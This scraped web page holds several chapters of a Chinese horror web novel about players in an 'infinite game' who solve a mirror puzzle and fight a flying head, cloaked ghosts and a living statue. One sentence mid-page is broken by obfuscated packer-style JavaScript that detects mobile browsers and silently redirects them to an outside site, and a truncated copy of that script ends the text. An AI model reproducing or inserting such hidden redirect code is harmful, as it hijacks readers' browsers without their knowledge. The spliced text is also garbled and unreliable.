身前地面上投射出五指分明的巨大影子,在越发幽暗的天色下,增添了几分令人不寒而栗的惊悚感。 这番话说得其他人感觉毛骨悚然,那个时候大多数人的注意力全在手指和玻璃上,从而忽略了镜面里的其他画面。 宋承他们倒是有看到镜子的不对劲,但面对未知现象,他们直接把警惕值拉满,并不会冒然进去。只有纪然,出人意料地突然闯进去,打乱了他们的节奏。 盯着前方地面的影子,宋承问:“你是知道进入没有危险,还是发现了什么来不及解释?” “都有吧,”纪然回想当时的场景,“既然出口在室内,那么危险就不会出现在入口处,跟我们进入AB世界时一样。那时我突然想到一种假设——与我以前经历过的事有关。我就在猜,会不会这个入口其实是直接通往C世界的,然后我们需要在里面玩一场解谜型的密室逃脱,从里面离开时,才算真正回到真实世界。” 宋承他们当然清楚纪然在说什么,所谓以前经历过的事,就是她在上个副本发生的事。她醒来时就深陷无限游戏里,被困在房间内,曾一度以为这是什么密室逃脱的“游戏”,在陌生房间里胆战心惊地寻找线索,思索怎么逃离。 那么面对又一个室内场所,她会产生这样的想法很理所当然。 “况且,从我们踏进平行世界开始,始终未发生过危险,场景的每一处变化与后来的寻找线索,均是靠头脑去解决。不过也确实是我莽撞了,以为里面同样会是解谜模式。”纪然说完这段话,收起手机,突然语气一变,更加矫揉做作。 她抓上楚昭的手臂,向队友解释:“加上,那些诡异现象让我感到很害怕,很慌张,黑漆漆的街道像无形的鬼怪巨兽,仿佛随时能吞噬掉我。面对着看起来很安全的房子,我来不及思考太多,只想着赶紧进去……” 她拿到的这种奇奇怪怪的人设,在一些众人还在犹豫的情况下,自己跑去作死不是很正常吗? 何况她所演出来的云初夏,不像是完全没脑的傻白甜作精。在那种时候一边害怕,一边想先进去找到线索然后震惊所有人是非常合理的。为此,她还拉上了“男朋友”,确保自己的安全。 只是没想到,她原本以为会从墙边的镜子中走出,结果自己竟从天花板上坠落,这种出人意料的转变,显然违背了常规逻辑,显得有些荒谬。 楚昭开始营业合格的男朋友形象,可能也没那么合格吧,但对于12个人里就有11个单身狗来说,只要他不是对“女朋友”的异常情绪无动于衷,就足以被认为是相当称职的。 毕竟,他们只是被副本赶鸭子上架地演戏。 谢沫沫咬了咬唇,不得不承认这个“云初夏”确实很有头脑。早在别人只老老实实按剧本表演时,她就知道要给自己加戏,一有空就刷人设,甚至在那种害怕的时候,还有时间思考角色反应,做出合理行为。 不出意外的话,那个导演所说的,自己争取来的主角之位,会落在她身上。 虽然谢沫沫能看得出来,这个人并不会演戏,很多时候表情和动作都很假,但对于只要不OOC就是成功的前提下,若这个无限流世界有副本排名,她肯定是第一。 而自己,在想方设法刷人设时,差点害了别人,还给自己刷了个OOC警告出来…… 要不,曲线救国一下?想想办法与“云初夏”套套近乎,关系走近点?与主角相关的配角总不至于下线得很快吧。 想到这,谢沫沫友好地顺着问话:“进去后我看你摸了下镜子,是不是又发现了什么?” 纪然点头:“镜面很凉,摸上去时就像冬天在室外用冷水洗手一样……”她愣了愣,记忆里自己并没有冬天的印象,怎么会突然说出这种形容? 深层记忆里曾经发生过的事吗? 她抛开其他杂念,反正再怎么回忆也想不出来。 “收回手时又瞬间回到夏天应有的温度。最大的奇怪之处不是它的温度,而是镜面有实体,手指无法穿过。后来看见段华……”纪然有些难以启齿,开玩笑是一码事,真这么喊好羞耻。 诡异地停顿了0.5秒,她又接上了上一句:“哥哥去摸天花板上的镜子,你们说手指从窗户里出来了,那就证实了墙边镜子与进入室内的出入口无关。” 楚昭再次听到这个称呼,走了神。 剧本里云初夏和段华难道是隐藏的兄妹关系?段华暗恋云初夏是假象?这样的话之后他对“段华”的态度也要改变了。 纪然没发现楚昭的走神,继续说:“其次,我就站在镜子前,它却透过我的身体,直接出现镜像的窗户,甚至也看不到窗外的你们。” 听到这里,宋承插了一句话:“天花板上的镜子也是,我们把货柜推过去,它连我们和货柜全都没照出来,只出现地板本身。” 宋承话音刚落,发现“许灼”扭头看了他一眼,还冲他点头。 宋承:? 来自“情敌”的挑衅? “这就对了,”纪然点头,声音打断了那两人的一秒对视,“镜子里不存在的货柜,不存在的我们,说明镜子与我们不在一个空间,或者说是次元。而它又是可实体碰到的,代表实际真正不在一个次元的是镜像,而不是镜子。一开始我并没有想到这点,在看到黑猫画像后,才意识到的。 “按照这个思路,这是个不真实的世界,是从A世界诞生出来的假象,才会处处诡异。那么当我们身处假世界被周围‘同化’时,只有镜像才是真实的,所以镜像里显示出来的空间大小、地板、窗户都与我们刚才看到的那家店一致。而天花板镜子是回到街道的出口,这一个选项就可以去掉,剩下的就只有墙面镜子。” 她说出结论:“因此,在排除其他所有类似于‘门’的出口外,正对着镜子的落地窗,才是唯一的答案。” “而突然出现的陶瓷娃娃也是关键线索。原先我还不明白墙边镜子除了显示出口外,为什么要设置成奇怪的温度,只是为了提醒我们吗?既然如此那为什么又要出现陶瓷娃娃来追击我们?仅仅为了增加时间的紧迫感?”纪然一连三个问题,引发了众人的思考。 “是啊,我们在外面看到你们应付陶瓷娃娃很轻松啊,只要避开就行。如果在你发现出口时,我们直 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纪然说得有理有据,最后的结果他们已经知道,而这些过程只需要了解一下,若是以后还碰到类似的场景,他们也可以自己解谜找到出口。 “其实我还有一个猜测,为什么柜子里不断涌出陶瓷娃娃,而镜子却不断吃下去呢?说明这像是镜子里的循环,一个物品的镜像在镜子里来回移动。”纪然看着距离他们不远的广场,说出她的想法。 这话倒给众人提供了一个新的思路,是啊,不然就这么点大的货柜里,为什么会源源不断地出现陶瓷娃娃呢? 纪然的目光投向街边店铺里的室内装修上:“店里的摆设也有问题,刚才大家也看到了,那是一家精品店,货架排列整齐,紧凑而不拥挤,绝非我们在B世界里所看到的那么空旷。那个世界特意空出这么大的空地让镜子照出来,正好为陶瓷娃娃提供了机会。我们只看见了天花板与墙壁上的两面镜子,若是我们在我们看不见的空气中,有无数面无形的镜子呢?” “反正它们跟我们也不在一个次元,当然这仅是在没有真正触碰到它们时的猜测,如果碰到了,会发生什么后果,我也不清楚。总而言之,我们已经出来了,这些话也只是我的个人想法,你们就当听个故事吧,也有可能真的是出现无数个陶瓷娃娃,言人人殊吧。”纪然说完后,楚昭很自觉地递给她一瓶水润嗓子。 她自认为自己的头脑没有第一小队的众人和身旁的老玩家那么聪明,但正常的思考能力和观察能力还是有的,仅需要一点脑洞大开。何况,能发现这么多线索并关联起来,并不是她一个人的功劳。 若不是之前楚昭表现出来的肯定,以及她亲自抱过黑猫、摸到过墙面镜子,比众人要多知道一点线索,不然这个时候她还在想办法验证自己的猜测,确保无误了才会去试一试,或者等队友解开谜团。 毕竟现在的她,可没有存档读档“复活”的能力,她还是很惜命的。 “出口与窗户和陶瓷有关,那为什么手指会从墙边镜子里出来?还有两次都从高处掉下来,是这些世界故意整我们?”陈长风听了半天,没有听到这几件事的答案,忍不住问道。 他就因为从空中落地而导致摄影机被磕了一次,幸好没坏。 纪然轻轻笑了笑:“差不多吧,虽然没有什么危险,但整个世界不至于这么无害,除陶瓷娃娃外,总需要给我们添点堵才对。就像之前我说的,线索有真有假,镜子里手指这件事应该就是给我们的假线索,让我们在猝不及防时摔伤——毕竟是第一天。” 不仅是副本第一天,也是剧本里他们拍戏的第一天。 所以出口设立在二楼墙边窗户上也很合理,想再坑他们一把。副本第一天不会致死,但同样有危险性,不然“张子坤”和“田文俊”也不至于一个手臂受伤,一个断了手。 随着话音落下,他们一群人,踩着彻底落日前最后一缕微弱的光线,踏进了广场。 91.雕像与人头(一) 天空彻底黑沉,无星无月,只有广场喷泉边地上亮起的点点光芒。 隔着不远不近的距离,高大雕像的手中捧着的石书还在,然而在摊开的书页间,一个椭圆形的东西放置其上。 虽然看不清,但他们知道,这个就是剧本里提到的人头。 随着走近,血淋淋的人头在谢沫沫的视线里越来越清晰,她本色出演地发出尖叫声,与另外两声男音重合在一起,竟然产生了一丝喜剧般的奇妙反应。 谢沫沫扯了扯嘴角,感觉也没那么害怕了。 毕竟身后那两个大男人,叫得比她还大声,她都没好意思发出声了,反正剧本里只说尖叫了就行。 另外两声,一道是来自按剧本要求叫出声的陈长风,一道是差点被人遗忘的左毅。 能三重奏,纯属巧合。 纪然刚瞧见人头的轮廓,还没仔细看清,就听见颇有喜感的声音,直接被逗笑了。嘴角才扬起,就被楚昭眼疾手快地捂住。 差点,她就要崩人设了。 夜间的喷泉停止了水流涌出,借着顶多照亮周围三四米的冷白色光,纪然看向那颗人头。 「头颅从脖颈处被残忍地截断,其面庞正对着他们的方向,在喷泉灯光的反射下,那双眼睛还是睁着的——是下午见过的那具尸体的人头!」 这是剧本里对剧中剧人头部分内容的描写。 确实如此,它的眼睛还会动——在他们走近后,盯着他们眨了眨眼——剧本里可没有提到人头会动。 这一段的剧情本应是他们一群人遇见人头,在恐惧中准备再次报警。在听到熟悉的电话忙音后,他们留下几名胆子较大的男生在这看守头颅,剩下的人不敢久留,匆匆赶去警局。 留下的几人在等待中,被突然出现的人影分批引走,直到最后一名男生被人打晕倒地。 经过剧本调整后,剧情变成了在看见人头后,它开始七窍流血,染红了雕像的手掌。血迹顺着不起眼的纹路,从手臂滑落,滴在地面上,逐渐流向他们脚下。 他们不敢留在广场,都想去警局,但被导演呵止住。在金钱与名利的诱惑下,恐惧与理智的拉扯中,他们开始争执,到底哪些人留下,而又有哪些人去警局。 没等争执出个结果,血液化为一只大手,骤然袭向离得最近的导演秦文心。 洗脑的话术还没说完便遭遇打断,秦文心在惊恐中不得不承认这个世界上真的有鬼,边骂边喊救命。 沉默内敛的白林面对这种场景并未退缩,上前扯住秦文心的一条腿,往喷泉下的水池那边拖。 孟贺看出他的意图,犹豫了几秒,还是过去拉住了导演的另一条腿,与他合力,把人拽向水池。 见有人上去帮忙,两名摄影师在职业道德下急忙调整镜头,记录这诡异的一幕。 血手沾了水后,轰然崩塌,在水池里溅起不科学的水花。 秦文心得以捡回一条命。 她从水池里湿淋淋地回到地面后,陈南寻提议放弃广场这一段的拍摄,大家一起去警局,否则还不知会有什么危险发生。 秦文心越是恐惧,就越是否认了他的建议,始终不肯让所有人都走开。还给他们洗脑,让他们信奉唯物主义,她说她宁愿相信全员产生幻觉,也不信真的有鬼。 脱离危险后的秦文心,已然忘记了刚才的遭遇,或者说,她不愿意再去想,自己给自己洗脑成功了。 最后在她的威胁下,由她带着摄影师陈欣和刚刚救了她的两人,四人一同前往警局,让其他人留在原地,否则众人将遭到她的起诉,面临不配合拍摄导致的违约,需要向她支付天价违约金。 是的,他们在进剧组时,便被哄着签下了不平等条约的合同,整个剧组全是秦文心的一言堂。何况,她身后确实有背景,而他们只是一群无权无势无钱无名声的小人物。 即便众人逃离小镇回去了,也将会受到秦文心的疯狂打压报复。 同理,若是他们好好配合,秦文心承诺会以资本的力量捧红他们,尤其是她为了这部电影,已经投入了一大笔钱。 要么拍,要么滚,只有这两个选择。 留在广场上的八个人,在仅有微弱光芒的黑夜下,丝毫不敢靠近雕像。 之后,发着呆的众人瞧见广场外围,黑暗里出现一道人影。他们问话,人影也不出声,一直在他们周围徘徊,似乎想让他们跟上。 明知道戏份里有这一段,但经过刚才的一幕,他们对此不敢轻易相信了。 看见人影始终不走,在一番商议后,段华和陈南寻强行拉着田文俊,三人跟上了人影,去打探情况。 剩下的摄影师张子坤仍留在原地拍摄取景,在镜头里营造出恐惧的氛围。 没过多久,人影再次出现在剩下五人的周围。 三名同寝室的女孩子不愿分开,而身为云初夏男朋友的许灼更是不会离开她半步,张子坤自然是不敢自己一个人留在原地。 他们五人没有按剧本所写的跟上人影,而是选择死守原地,无论人影怎么闹出动静,愣是没人过去看。 离开的三人迟迟没回来,令他们更加恐慌。 在静到窒息的等待中,他们的背后,血液化成的大手再次成型。 出人意料的是,血手只是打晕了他们,顺应上了剧情发展,并未对他们造成更多伤害。 再之后便是下一幕警局那边的剧情了。 按剧本内容来说,这一段的剧情只是整体的一小部分,重点放在众人受到惊吓上,就按剧本来演其实已经够了。 不过,毫无疑问,副本又要给他们增加点难度。 比如说,纪然收回神看向雕像,手中的人头咧嘴一笑,倏地悬空漂浮起来,七窍开始流血,朝他们飞过来。 一边飙血一边飞,淋淋漓漓洒了一地。 “啊啊啊——”夏黎二话不说,扛着摄影机就跑。 惊悚的一幕令钟玉珍失了声。被社会磨砺多年,年长者总归要稳重些,即便情绪有再大起伏,经历一天诡异场景后,她倒是没有刚进本时那么慌乱,反而一把拉住夏黎。 “你跑什么?这些都是假的。”钟玉珍昧着良心说,随是拉住了“陈欣”,却也不是真的想阻拦她。 下午池塘边看到的人头尸体,可没那么无害,反而一直暗戳戳想攻击他们。作为在剧本里被血手抓走直面恐惧的人,这还没犯到自己身上呢,怎么可能会信真的有鬼。 毕竟秦文心惯会给自己洗脑。 所以钟玉珍不能放任摄影师离开。 纪然缩在楚昭身后,悄摸摸从地上捡起几块石头,塞到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13389808|138985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他手里。 楚昭微微侧头,目光与她对上。见她面带惧意,眼里却又充斥着兴奋,很是矛盾。 掂量了下手里的小石子,他回过头双眼锁定空中的目标,毫不犹豫地掷出。 纪然还没看清石子的轨迹,那人头便“砰”的一声被砸中,悬在半空中晃了晃,最终还是摔在了地上。 “好厉害!”纪然发出惊叹的声音。 以她的飞镖命中率来说,这个移动头靶她很难打中,比她厉害的人全都是高手。 宋承完全没想到,这个两次出场都带着小BOSS般气场的鬼东西,竟然两次都这么轻易被打趴。走过去捞起血淋淋的头颅,眉宇间不易察觉地皱了皱。 想到剧本里的血手剧情,肖羽提议:“要不把它丢那个喷泉池里?” 见人头被制服,其他人也大着胆子围过来,自发打开了手机电筒。纪然拉着楚昭围观在第一线,目睹宋承抓着人头的短发,把头颅按进水里。 清澈见底的池水被血色侵染,瞬间扩散至整个池子。 人头没有挣扎,像是接受了自己的命运。 “如果血手是从这个池子里出来怎么办?”谢沫沫犹豫着开口。 她刚才也被吓得够呛,此刻心脏仍在剧烈地跳动,幸好这群人个个都有才,身手还很好,超级有莫名的责任感。她已经意识到,只要自己好好跟着他们,不捣乱不惹事,便能安安稳稳被带飞。 这群人几乎包揽了所有麻烦事,遇到危险也总是挺身而出冲在前线,她若是想刷点额外戏份,只能想方设法地配合他们,见缝插针抛出话题。 “也不是没这个可能,”宋承手腕一动,把人头提出水面,见它还在涌出鲜红血液,发现一个盲点,“为什么我们不带着它一起去警局?” “啊?”钟玉珍愣住了,万万没想到剧情还能这样改。 不过,好像还挺合理的。 “剧本是要求我们内斗,发生争执、吵架、甩锅什么的,这直接相亲相爱一家人……也太扯了吧?”肖羽吐槽。 谢沫沫没敢多看人头,摸了摸自己的脖子,说道:“血会流一地,到时候警察以为我们是凶手怎么办?” “这么大的出血量,怎么看也不正常,警方那边不得好好调查一番?这显而易见地不关我们事,总不能是我们闲得无聊,又是去偷血包又是去偷尸体的,最后还嚣张地带着人头一路走一路洒血,跑到警局给他们表演吧?”肖羽挑了挑眉,把自己给说乐了。 其他人听到这话都忍不住笑了起来,刚才因惊吓而紧绷的气氛在笑声中烟消云散。即便是面对那诡异的人头一幕,大家也没了之前的恐惧感。 瞥见叶柯舒展的眉眼,肖羽嘴角一勾,继续说:“要内斗还不简单,我们带着人头,一边吵架一边走不就行了。人头在每个人手里轮一圈,什么氛围都有了。” “还有一种方法,就是除了剧本里去警局的四个人外,我们就在这儿哪都不去,直接倒地装晕,剧情快进到下一幕。反正那个血手的目的是打晕我们,只不过在实际操作中,可能有点危险性吧。”肖羽耸肩,知道这是个馊主意。 “也可以在人影出现后试图分散我们时,我们不妨顺势而为,全都跟随其后——那根绳子我带上了。”李新咏微笑,用平和的语气说出更大胆的话。 92.雕像与人头(二) 纪然暗中搓手,这个副本的鬼怪能力好像不强,在有一群人能够打配合之下,她有些兴奋。 如果这个镇子里的鬼怪是消灭一只少一只的话,他们趁着第一天的新手保护期与鬼怪干上,之后岂不是路都平了很多? 况且,这个无限游戏好像给每一个新人都发了新手礼包。能开出什么全靠运气,虽不至于开出什么高级的道具或能力,但开个能加持自身确保通关新手副本的东西并不难,最鸡肋的可能是仅是让自己睡个好觉的东西。 不过这个也说不好,没准就是有神经衰弱的人,因为睡不好而无法发挥全部能力呢?能休息好养足精神,真的很重要。 几个队友的能力她还不清楚,一直处于无形的镜头里,他们也不好过多交流。但加上她,他们有六个人诶,六份道具或者特殊能力,难道还不能打通一个低级副本吗? 她在后来的了解中,才知道自己的笔记本便是游戏的新手福利。 在吃掉积分之前,笔记本只有读档那个形态功能。在一堆奇奇怪怪的道具里,虽然保命能力很强,但死亡会失去节点前的记忆,而且只能死后被动读档,自己根本无法决定。 靠不停送死才能规避死亡的方式,就限制了它的强度。即便“复活”能力很诱人,对真正的保命道具来说,它其实也不算很厉害,毕竟她能隐隐感受到,在重新充能之前,读档是有次数限制的。 甚至随着自己体质与能力的增加,读档消耗的能量也在增加。 光凭会失忆这一点,就让它处于一种不上不下的尴尬状态——若是持有者没发现自己已经读档了,又会把上一次经历过的事情再次重复一遍。 而且还有可能辛辛苦苦忙活半天,结果死了,读档的上一个节点还离当前死亡时间差了好久,一切就都要重头忙活。一重新开始,也许之前能顺利通过的地方,第二次就打不过去了。 就跟打游戏似的,同一个关卡可能第一遍打过去了,重置后第二次打,也许突然就翻车。何况,自身在读档后稍有一点偏离之前的路线,便会引起新的蝴蝶效应。 若是再把读档次数用完,直接game over了。 也许对成长起来的玩家来说作用不小,能有剩余的积分给它充能,但对新人来说……确实蛮厉害的,就是积分不够它吸。 矜矜业业通关副本活着出来,准备买点厉害些的道具,点开商城一看,咦,她的血汗积分呢? 如果笔记本只有那一个功能,就有一种说不上来的限制感——要么不动用笔记本,要么专心给它充能用来保命。 前者直接等于ban掉了一项能力,后者除了保命外,碰到走投无路情况时,待读档次数用完,唯有等死。 可惜,这游戏恐怕都没发现,笔记本它还有其他能力。目前看不出什么,等她再苟活几个副本,说不定有积分解锁其他形态,到时候,一定很惊喜。 以至于她猜测,这个笔记本会不会跟自己的失忆有关系。不然这么厉害的道具,为什么会出现在新手礼包里,还精准投入到自己手上。 而且别人是自己开礼包,只有她是醒来笔记本就在桌上。且根据当时笔记本第一页的记载,她是醒了后就直接被张统杀死,丝毫没有提及笔记本的存在。 而第三页,也就是她有记忆的那一页里,清清楚楚写着她是在桌上发现的笔记本。 加上自己身上一些奇奇怪怪的地方,很难不让人多想。 纪然拉回自己飘飞的思绪,看热闹不嫌事大:“这样不太好吧,它们总归没有伤到我们什么,大声密谋要不得。不然我们还是按剧本来吧,兵分两路:一部分人带着人头去警局,剩下的人留在广场等着人影送货上门。” 既不会崩坏剧情,又能两边剧情同时拿下。 楚昭听笑了,还真是既要又要。前一句说的口吻莲里莲气,后面几句打着顺应剧本的旗号,结果算盘珠子都快崩他脸上了。 在其他人接着商议的时候,他低声问纪然:“你不是害怕吗?” “是啊,我好害怕啊。”纪然只承认自己有那么一点恐惧感,但一切恐惧往往来自于己方的火力不足。 她今天都见鬼这么多次了,甚至亲手杀了一只,却连通灵之书的收服能力都没试过,怎么不算她的一个保底技能呢。况且,她不认为自己会愚蠢到激怒一群鬼怪,让自己陷入包围。 在她看来,以少胜多的最佳策略就是采取游击战术。 宋队长他们原本以为她下一个副本会是孤军奋战,因此特别强调了游击战的要点,尤其是逃跑的技巧。活下去,才是一切行动的首要前提。 后来因为好奇,她还接触了一些较为经典的几款游戏,攻击比自己厉害的怪物时,有一种打法叫放风筝。 这种战术的核心思想是利用角色的机动性,保持与敌人的距离,从而避免直接受到伤害,同时对敌人进行持续的远程攻击或消耗。 虽然很奇怪为什么自己所知道的常识时有时无——有些她知道是什么,有些她却不知道。可能她失忆前来自于其他平行世界,但游戏绑定的初始世界让她对自己的猜测产生了怀疑,不过到目前为止,她什么都想不起来。 不到一个月的时间里,她发现自己想学的东西实在是太多了,感觉这个有用,那个也有用。在看过一些科幻电影后,甚至想靠数据传输把学习资料直接塞进大脑里。 不过,这个计划在她把主机板抠下来,研究了一番RAM和ROM后,兴冲冲跑到隔壁警局找叶柯帮忙,让她在自己头上找接口时,被闻声而来的众人给拦住了。 学习计划直接腹死胎中,还被警察叔叔教育了一顿。 想到这里,纪然摸了摸自己的脑袋,她已经是个成熟的大人了,不会再被电影给骗到。 “但这不是有你在吗?你知道的,我有多么信任你,在你身边我充满了安全感。告诉我,你不会离开我的,对吗——对了,你们那边是不是可以靠数据传输直接把学习资料传到人的大脑里?”说着说着,她让楚昭俯下身子把耳朵凑过来,悄悄地问道。 楚昭:? 楚昭眼里没有感情,全是震惊。 情话她怎么张嘴就来? 话题转移得这么快,她也知道尴尬了? 现在C级世界的科技都这么发达了吗?她在脑子里存了几个G的情话大全? 人头还在水池里泡着,玩家们议论纷纷,若不听内容,乍一看还真是产生了争执。 听着众人讨论的声音,钟玉珍不得不感慨,如果是换一批玩家,在这种时候可能真的会像剧本中描绘的那样,争执不断。 利益与生死的交织,往往会无限放大人性中的阴暗面。在这样的广场上,或许真有人因冲突而丧命。 而在这群年轻人的掌控下,大家根本就没有什么冲突,听着指挥便能安稳渡过危险,甚至很多时候都不用动弹什么,站着看看戏,人家就解决了危险。 比如说刚才,人头还没飞近人群,就不知道被哪来的石头给打下来了。一招制敌,直接让他们玩家掌握了先机,进入己方的节奏。 仔细想想,今天一天 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在最后决定还是兵分两路时,一旁的雕像忽然动了。 起初,没有一个人发现不对劲,直到雕像抬起巨大的脚,上前一步踩在地面上,发出一声巨响,众人才惊诧回头。 “我*!”陈长风脸色骤变,礼貌问候,扛起摄影机连连退后。 三人高的雕像屹立在玩家们面前,那白色石料在昏暗的光线中,犹如巨大的幽灵,散发出一种难以言喻的威严与压迫感,仿佛面对的不是一尊雕像,而是一座不可逾越的高山,令人心生敬畏,高不可攀。 纪然还未等到楚昭的回答,便被这异响惊动,扭头看见雕像这一步便跨越了两米多的距离,直接来到他们身后。 楚昭眼里飞快闪过一丝不解,显然这又是一个出乎意料的变故。 每个场景的剧情都变了,这个场景他们以为有变动是人头会飞,结果是雕像“复活”。 顿时,人群如飞鸦受惊四散,雕像在原地犹豫两秒,选择追击被楚昭拉着跑的纪然,跟在后面步步紧逼。 回头看见这一幕的纪然,在脑子里打出一个问号。 不是吧,就25%的仇恨值,至于吗,一整天下来OOC的应该不止她一个人吧?居然只能让雕像犹豫不到三秒? 现在人影还未出场,剧情不到下一阶段,玩家们还不能离开广场。跑了几步后发现雕像追其他人去了,没被追的众人纷纷停下脚步,再次汇合。 “那个绳子能把它绊倒吗?”谢沫沫瞅向李新咏的背包。 李新咏的目光追着跑动中的雕像,闻言轻轻摇头道:“韧度不行。” “要不他们去水里躲躲?”陈长风指了指水池。 宋承想到那被血染透的池水,沉默两秒,说:“我觉得他们宁愿直接跟雕像对上。” 被提在手里的人头使劲转动眼珠子,想要看雕像那边的情况,奈何它面对的方向是后脑勺对着众人,什么都看不到。 在被雕像追击的纪然因为剧情不到下一幕,不好离开广场,只能带着雕像绕圈子。 “它追的是我还是你啊?”纪然边跑边不服气问道。 “有什么区别?”楚昭神色不变,气息都不带乱的,“我们又不会分开。” 纪然惊愕看着他:“现在是说情话的时候吗?”刷人设比她还敬业? 楚昭:“……” 他抿着唇不说话了。 纪然再次回头时,看到雕像的肩膀上,极为存在感地站着一个身穿黑斗篷的人影。 93.雕像与人头(三) 此时天上无星无月,原本地上的灯不知何时熄灭了,只有玩家们手里的手电筒发出的光,不够明亮,堪堪能看清广场大部分环境。 在跑动中,纪然和楚昭手里的光线一晃一晃的,显得场景更加森然。 “这个出场,它在扮死神?”纪然又一次回头时,看到人影手中拿着一把巨大的镰刀,斗篷无风自动,有些心动了,“虽然,但是,这个能不能抢?不是,我是说好可怕啊,它会杀了我们吗?” 楚昭听到她的话,扭头瞥了一眼人影,却见人影跳下雕像,即将落地时消失不见。 这时,纪然被他拽住手腕带着又跑了两步,一抬头就看见两人正前方有道黑影突然出现。 纪然眼神一凝,脚下骤然急刹,拉了他一把。 前有斗篷人,后有雕像。 无声对视一眼,楚昭会意,两人脚尖一转,一起往左边的空地上跑去,斗篷人却如影随形,巨大黑影瞬闪而至,于半途截住了他们的去路。 “我们被包围了。”楚昭轻轻说道。 纪然循声扭头,发现另外两个方向也各自立着斗篷人,他们高高举起手中的举镰,朝包围圈中的两人缓缓逼近。 与此同时,左侧的雕像伸出双手,径直袭向他们。 三把巨镰刀刃裹挟着劲风扑面而来,纪然直面着同样逼近的雕像,呼吸一滞,瞳孔倏然放大,雕像的影子逐渐在她眼底铺开。 下一秒,却如同突然卡壳了一般,雕像在距离她不足一米的地方停了下来。 电光火石间,纪然意识到什么,后退两步与楚昭背靠背,感受到身后他倏地僵住的背部肌肉,压声道:“是呼吸气息,屏气。” 话音刚落,雕像巨手立刻向前进了一寸,纪然连忙屏住了呼吸。 雕像于是再次顿住,楚昭眸光微闪,反应过来,趁此空当,将纪然朝雕像那边推出去,自己则闪身迎上了距离他最近的一个斗篷人的攻击。 楚昭身如鬼魅,踏着夜色飞速接近镰刀人。 正要袭向对方面门时,镰刀掠起一抹暗芒,转瞬即逝,却足够楚昭看清镰刀的材质。 顷刻间,他调转方向,伸手直直攥住了刀尖。 随后而至的玩家们亲眼目睹了这一幕,人群中陆续响起几道抽气声,夏黎连忙拉近镜头对准他的手,定睛一看,这人的手完好无损。 镜头下,楚昭反客为主,顺势劈手夺过巨镰,场上的形式瞬间调转,狩猎者与猎物的身份互换。 斗篷人动作一滞,不过短短几秒的工夫,便将进攻的主动权拱手于人。 它愣住,楚昭可没愣住。在持续运转的摄影机镜头下,那把看似笨拙而沉重的巨镰在他手中转了一圈,灵巧犹如一柄软剑。他握住长柄,以一种流畅而迅猛的弧线,自下而上挥向斗篷人。 随着镰刀划破空气的锐利啸声,斗篷人一分为二,化作一缕黑烟,在空气中迅速消散,无迹可寻。 不,应该叫它斗篷鬼才是。 跑向雕像的纪然没有放过这稍纵即逝的良机,已经知道它的弱点,那就得乘胜追击。几步助跑后猛地起跳,准确地踩在雕像伸下来却定格的手臂上。 近有两层楼高的雕像手臂约有两米长,纪然又跳又爬地来到它的肩膀上。 注意到下方其他玩家的接近,雕像缓缓转动它那沉重的头部,将注意力转向了新的目标。纪然立刻高声警告,语气急促:“屏住呼吸,别过来!” 雕像的巨大身躯哪怕是微小的动作,对站在其肩上的纪然来说,都像是经历了一场地震般的剧烈震动。幸好在差点掉下去之前,雕像平静下来。 雕像的面孔现在正对着纪然,它的头部微微低垂,保持着一种俯视地面的姿态。 抬起头,纪然的视线落在雕像的眼睛上。 刚才她就发现了,这个雕像在追逐他们时,似乎并不依赖听觉或视觉,而是像在追踪人类呼吸的气味。有点像一些小说设定里的丧尸与僵尸,能闻见活人味。 可是一个石头做的雕像,能有嗅觉? 放在现实是很离谱的想法,但在副本里,没什么不可能的,纪然相信自己的直觉。 她迅速脱下了那件在攀爬雕像时不小心沾染了血迹的防晒外套——先前人头漂浮起来流血时,血液正好洒了雕像一手。 那股腥臭味令人作呕,仿佛是夏日里被烈日炙烤数日的死鱼,她刚接近时几乎被那股气味熏得晕厥。 纪然把血迹全都蹭到雕像的鼻子上,尤其是鼻桥和人中附近,期间她甚至下爬去重新沾取血液,以确保雕像的半张脸都被血迹覆盖。 大功告成后,纪然那硬挺着的一口气便散了,跌坐在雕像肩膀上大口喘着气,刚才憋着一口气爬上爬下,现在她感到一阵眩晕,头部隐隐作痛,这是缺氧的明显迹象。 雕像则静止不动,宛如失去了生命,面对如此近距离喘着气的纪然,仍然毫无反应。 也不知是不是自己演出来的云初夏的形象在逐渐丰满,她现在很多行为好像不会被判为OOC了。 比如在很多时候,她表现出来的特点是细心又善于观察,跟胆小柔弱实际上并不冲突,只要她中途表达一下自己的害怕之情就能混过去。而且,又没说这种有作精设定的人,就一定没脑子。 刚刚自己折腾了半天,现在缺氧的状态也挺符合“柔弱”这个特征,结果是一致的。 纪然有气无力地冲下方的人群比了个OK,与此同时,不远处的楚昭也成功地解决了那三只斗篷鬼,夺得了三把巨镰,并且正朝雕像的方向稳步前进,还顺路捡起了刚才去负重而丢在路边的背包。 刚刚那些为了避免干扰纪然的计划而一直屏息凝神的众人,在看到她的手势后,终于开始恢复正常呼吸。 乔云深借着手电的光,抬头看向雕像时,察觉到了纪然的异常,轻轻地扯了下宋承的衣袖,低声说:“她好像缺氧了。” 宋承眉头微皱,不放心纪然一个人待在雕像上面,他迅速将手中的人头交给肖羽,然后大步走向雕像,准备攀爬上去。然而,他的动作却被走过来的楚昭所截停。 明明周围还有其他人,楚昭却唯独叫住他,将三把两米长的巨镰全都交到他的手中。 宋承意味不明地与楚昭目光交汇,一时间,两个同样身型高大的男人谁也没说话。宋承的眼神透露出一丝探究,而楚昭则显得有些不明所以。 在这场静默的对峙持续了短短几秒之后,楚昭选择了以一个简洁的点头来回应。 身为剧本男朋友,看见女朋友迟迟没下来,楚昭当然要上去接人了。 他没再耽搁时间,迅速转身,身手敏捷地攀上雕像,几下就跃到了雕像的肩膀上。 而宋承接过那三把看似沉重却意外轻盈的巨镰后,眼前没有跳出任何道具提示。巨镰触感冷冽,质地却轻若无物,简直像是纸糊的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 